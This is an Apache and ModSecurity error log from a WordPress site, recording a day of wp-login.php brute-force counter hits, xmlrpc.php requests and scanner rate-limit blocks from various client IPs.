[Mon Dec 08 07:09:09.098420 2025] [:error] [pid 18726:tid 18749] [client 38.246.33.6:55293] [client 38.246.33.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTYJFVwVbxmJGL5LHAdKJAAAANU"]
[Mon Dec 08 07:09:09.178660 2025] [:error] [pid 54671:tid 54684] [client 38.246.33.6:55303] [client 38.246.33.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTYJFVqOuiNLLCfVy7-e-QAAAQo"]
[Mon Dec 08 08:19:10.802143 2025] [:error] [pid 39159:tid 39175] [client 38.246.33.136:59603] [client 38.246.33.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTYZfk48HaQt8jqjSboxQgAAAAo"]
[Mon Dec 08 08:19:10.811555 2025] [:error] [pid 39261:tid 39288] [client 38.246.33.136:59604] [client 38.246.33.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTYZfnijlEqKrwMitDG4HAAAANc"]
[Mon Dec 08 08:20:23.028279 2025] [:error] [pid 39161:tid 39230] [client 38.246.33.136:50666] [client 38.246.33.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTYZx-QBy-JdpUuZzWewhQAAAIo"]
[Mon Dec 08 08:20:23.038564 2025] [:error] [pid 39261:tid 39282] [client 38.246.33.136:50667] [client 38.246.33.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTYZx3ijlEqKrwMitDG4vQAAANE"]
[Mon Dec 08 09:26:22.677486 2025] [:error] [pid 53927:tid 53953] [client 38.246.33.73:51584] [client 38.246.33.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.73, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTYpPrTtIvPZ1Cm2r05F5QAAARg"]
[Mon Dec 08 09:26:22.677872 2025] [:error] [pid 39160:tid 39216] [client 38.246.33.73:51583] [client 38.246.33.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.73, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTYpPim5Ndns0p3OT9BRVAAAAFc"]
[Mon Dec 08 09:27:29.020681 2025] [:error] [pid 39159:tid 39189] [client 38.246.33.73:59306] [client 38.246.33.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.73, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTYpgU48HaQt8jqjSbpLpQAAABg"]
[Mon Dec 08 09:27:29.021502 2025] [:error] [pid 39161:tid 39225] [client 38.246.33.73:59318] [client 38.246.33.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.73, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTYpgeQBy-JdpUuZzWfGrwAAAIU"]
[Mon Dec 08 10:20:09.863651 2025] [proxy_fcgi:error] [pid 53927:tid 53945] (70007)The timeout specified has expired: [client 51.81.107.180:34352] AH01075: Error dispatching request to : (polling)
[Mon Dec 08 10:36:32.765357 2025] [:error] [pid 39159:tid 39169] [client 38.246.32.85:60698] [client 38.246.32.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.85, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTY5sE48HaQt8jqjSbppQQAAAAQ"]
[Mon Dec 08 10:36:32.766411 2025] [:error] [pid 39159:tid 39184] [client 38.246.32.85:60699] [client 38.246.32.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.85, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTY5sE48HaQt8jqjSbppQgAAABM"]
[Mon Dec 08 10:37:44.375955 2025] [:error] [pid 53927:tid 53934] [client 38.246.32.85:51205] [client 38.246.32.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.85, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTY5-LTtIvPZ1Cm2r05viAAAAQU"]
[Mon Dec 08 10:37:44.376890 2025] [:error] [pid 39159:tid 39173] [client 38.246.32.85:51204] [client 38.246.32.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.85, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTY5-E48HaQt8jqjSbpqJwAAAAg"]
[Mon Dec 08 11:02:19.548033 2025] [:error] [pid 43362:tid 43404] [client 49.234.192.248:57800] [client 49.234.192.248] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTY_uzoamfxHn2vcwqyrUAAAAc0"]
[Mon Dec 08 11:46:40.492389 2025] [:error] [pid 39161:tid 39244] [client 45.88.186.148:52834] [client 45.88.186.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTZKIOQBy-JdpUuZzWf4KgAAAJg"]
[Mon Dec 08 11:46:41.329627 2025] [:error] [pid 43362:tid 43393] [client 45.88.186.148:53159] [client 45.88.186.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTZKIToamfxHn2vcwqy4gQAAAcI"]
[Mon Dec 08 11:46:42.144786 2025] [:error] [pid 53927:tid 53933] [client 45.88.186.148:53460] [client 45.88.186.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTZKIrTtIvPZ1Cm2r06bwAAAAQQ"]
[Mon Dec 08 11:46:42.948016 2025] [:error] [pid 43362:tid 43402] [client 45.88.186.148:53777] [client 45.88.186.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTZKIjoamfxHn2vcwqy4jQAAAcs"]
[Mon Dec 08 11:46:43.772886 2025] [:error] [pid 53927:tid 53930] [client 45.88.186.148:54061] [client 45.88.186.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTZKI7TtIvPZ1Cm2r06b0QAAAQE"]
[Mon Dec 08 11:47:06.429945 2025] [:error] [pid 43361:tid 43368] [client 38.246.33.196:62579] [client 38.246.33.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.196, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTZKOsrZJ_dsPpuIXPnQqwAAAYQ"]
[Mon Dec 08 11:47:06.430492 2025] [:error] [pid 39261:tid 39285] [client 38.246.33.196:62580] [client 38.246.33.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.196, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTZKOnijlEqKrwMitDETtQAAANQ"]
[Mon Dec 08 11:48:26.037591 2025] [:error] [pid 43362:tid 43391] [client 171.226.226.50:47258] [client 171.226.226.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 171.226.226.50, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTZKijoamfxHn2vcwqy5VQAAAcA"]
[Mon Dec 08 11:48:37.321890 2025] [:error] [pid 43324:tid 43332] [client 38.246.33.196:60495] [client 38.246.33.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.196, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTZKlWPgmTVXZPILisbhFgAAAUY"]
[Mon Dec 08 11:48:37.358226 2025] [:error] [pid 43324:tid 43334] [client 38.246.33.196:60496] [client 38.246.33.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.196, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTZKlWPgmTVXZPILisbhFwAAAUg"]
[Mon Dec 08 12:59:17.768043 2025] [:error] [pid 13533:tid 13537] [client 38.246.32.8:53774] [client 38.246.32.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.8, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTZbJUwxYk7zHgjCNdZYGAAAAUI"]
[Mon Dec 08 12:59:17.771799 2025] [:error] [pid 13533:tid 13545] [client 38.246.32.8:53775] [client 38.246.32.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.8, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTZbJUwxYk7zHgjCNdZYGQAAAUo"]
[Mon Dec 08 13:00:25.378447 2025] [:error] [pid 13447:tid 13521] [client 38.246.32.8:61363] [client 38.246.32.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.8, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTZbaXsXz7UXj3rHK1udLgAAAM8"]
[Mon Dec 08 13:00:25.380373 2025] [:error] [pid 16888:tid 16895] [client 38.246.32.8:61366] [client 38.246.32.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.8, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTZbaRSZHPLCPHyOpBU-RwAAAAQ"]
[Mon Dec 08 14:09:37.837717 2025] [:error] [pid 13445:tid 13450] [client 38.246.32.152:54518] [client 38.246.32.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.152, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTZrocek7sIjbF2WoVbh7QAAAEA"]
[Mon Dec 08 14:09:37.841242 2025] [:error] [pid 30580:tid 30595] [client 38.246.32.152:54517] [client 38.246.32.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.152, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTZrocEhRKiLBTnel9Pq7gAAAQ0"]
[Mon Dec 08 14:10:46.691294 2025] [:error] [pid 13447:tid 13528] [client 38.246.32.152:65097] [client 38.246.32.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.152, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTZr5nsXz7UXj3rHK1uykQAAANY"]
[Mon Dec 08 14:10:46.691402 2025] [:error] [pid 16888:tid 16897] [client 38.246.32.152:65098] [client 38.246.32.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.152, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTZr5hSZHPLCPHyOpBVd3QAAAAY"]
[Mon Dec 08 15:25:37.327362 2025] [:error] [pid 58847:tid 58865] [client 146.70.180.51:64177] [client 146.70.180.51] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.70.180.51, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTZ9cXy4UHQXWKMwpHmb_wAAAQw"]
[Mon Dec 08 15:25:37.339563 2025] [:error] [pid 58847:tid 58857] [client 146.70.180.51:64176] [client 146.70.180.51] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.70.180.51, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTZ9cXy4UHQXWKMwpHmcAAAAAQQ"]
[Mon Dec 08 15:26:52.807772 2025] [:error] [pid 58760:tid 58823] [client 146.70.180.51:50314] [client 146.70.180.51] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.70.180.51, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTZ9vGqmF_jKbCz9E6kZpQAAAAY"]
[Mon Dec 08 15:26:52.807736 2025] [:error] [pid 58760:tid 58822] [client 146.70.180.51:50315] [client 146.70.180.51] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.70.180.51, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTZ9vGqmF_jKbCz9E6kZpAAAAAU"]
[Mon Dec 08 16:45:44.384354 2025] [:error] [pid 58847:tid 58855] [client 98.98.171.68:57334] [client 98.98.171.68] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.98.171.68, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTaQOHy4UHQXWKMwpHnMfwAAAQI"]
[Mon Dec 08 16:45:44.392780 2025] [:error] [pid 58847:tid 58857] [client 98.98.171.68:57335] [client 98.98.171.68] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.98.171.68, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTaQOHy4UHQXWKMwpHnMgAAAAQQ"]
[Mon Dec 08 16:46:54.952408 2025] [:error] [pid 63353:tid 63359] [client 98.98.171.68:64526] [client 98.98.171.68] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.98.171.68, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTaQfhtg8HdYG392GAj0KQAAAIM"]
[Mon Dec 08 16:46:54.954691 2025] [:error] [pid 58847:tid 58876] [client 98.98.171.68:64524] [client 98.98.171.68] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.98.171.68, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTaQfny4UHQXWKMwpHnNDQAAARc"]
[Mon Dec 08 17:25:15.194990 2025] [:error] [pid 58758:tid 58765] [client 161.248.201.136:60086] [client 161.248.201.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.248.201.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTaZewBS5U6_vVkyhEd_-gAAAEM"]
[Mon Dec 08 17:25:16.952943 2025] [:error] [pid 58758:tid 58780] [client 161.248.201.136:60086] [client 161.248.201.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.248.201.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTaZfABS5U6_vVkyhEd__QAAAFI"], referer: https://gigfragments.org/wp-login.php
[Mon Dec 08 17:46:33.143756 2025] [:error] [pid 58758:tid 58786] [client 209.235.136.135:43368] [client 209.235.136.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.235.136.135, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTaeeQBS5U6_vVkyhEeHvwAAAFg"]
[Mon Dec 08 17:54:02.018757 2025] [autoindex:error] [pid 37840:tid 37855] [client 209.97.156.74:54933] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Dec 08 18:00:08.380773 2025] [:error] [pid 58759:tid 58791] [client 65.20.111.91:64020] [client 65.20.111.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.20.111.91, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTahqP6HZGkO2H0XX-h_MwAAAME"]
[Mon Dec 08 18:00:08.380794 2025] [:error] [pid 63353:tid 63380] [client 65.20.111.91:64019] [client 65.20.111.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.20.111.91, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTahqBtg8HdYG392GAgGlQAAAJg"]
[Mon Dec 08 18:01:11.837180 2025] [:error] [pid 2754:tid 2769] [client 65.20.111.91:54506] [client 65.20.111.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.20.111.91, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTah57SzS4AFjS-DhTUhiAAAAUw"]
[Mon Dec 08 18:01:11.838019 2025] [:error] [pid 2754:tid 2762] [client 65.20.111.91:54505] [client 65.20.111.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.20.111.91, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTah57SzS4AFjS-DhTUhiQAAAUU"]
[Mon Dec 08 19:12:26.820167 2025] [:error] [pid 37840:tid 37859] [client 23.90.188.183:53633] [client 23.90.188.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.90.188.183, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTaymlnJIKqlie_aHNbr2wAAAZA"]
[Mon Dec 08 19:12:26.821453 2025] [:error] [pid 37840:tid 37856] [client 23.90.188.183:53625] [client 23.90.188.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.90.188.183, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTaymlnJIKqlie_aHNbr3AAAAY0"]
[Mon Dec 08 19:14:23.169938 2025] [:error] [pid 58759:tid 58796] [client 23.90.188.183:63930] [client 23.90.188.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.90.188.183, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTazD_6HZGkO2H0XX-iX8AAAAMY"]
[Mon Dec 08 19:14:23.191520 2025] [:error] [pid 11366:tid 11377] [client 23.90.188.183:63933] [client 23.90.188.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.90.188.183, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTazDwcQjfMWfwPjgxH8ogAAAck"]
[Mon Dec 08 20:27:05.900815 2025] [:error] [pid 48541:tid 48551] [client 65.20.110.94:61280] [client 65.20.110.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.20.110.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTbEGQSNhJPArxLCdWHiSgAAAQg"]
[Mon Dec 08 20:27:05.923945 2025] [:error] [pid 48541:tid 48565] [client 65.20.110.94:61281] [client 65.20.110.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.20.110.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTbEGQSNhJPArxLCdWHiSwAAARY"]
[Mon Dec 08 20:28:15.875667 2025] [:error] [pid 48573:tid 48598] [client 65.20.110.94:52167] [client 65.20.110.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.20.110.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTbEX1Iayuqwlm3CEkZp0wAAAVc"]
[Mon Dec 08 20:28:15.884426 2025] [:error] [pid 50569:tid 50584] [client 65.20.110.94:52172] [client 65.20.110.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.20.110.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTbEX_HhZxyKreYmWzKK0gAAAAw"]
[Mon Dec 08 21:16:59.965698 2025] [:error] [pid 48573:tid 48577] [client 4.190.217.206:19739] [client 4.190.217.206] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.190.217.206, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTbPy1Iayuqwlm3CEkaEHwAAAUI"]
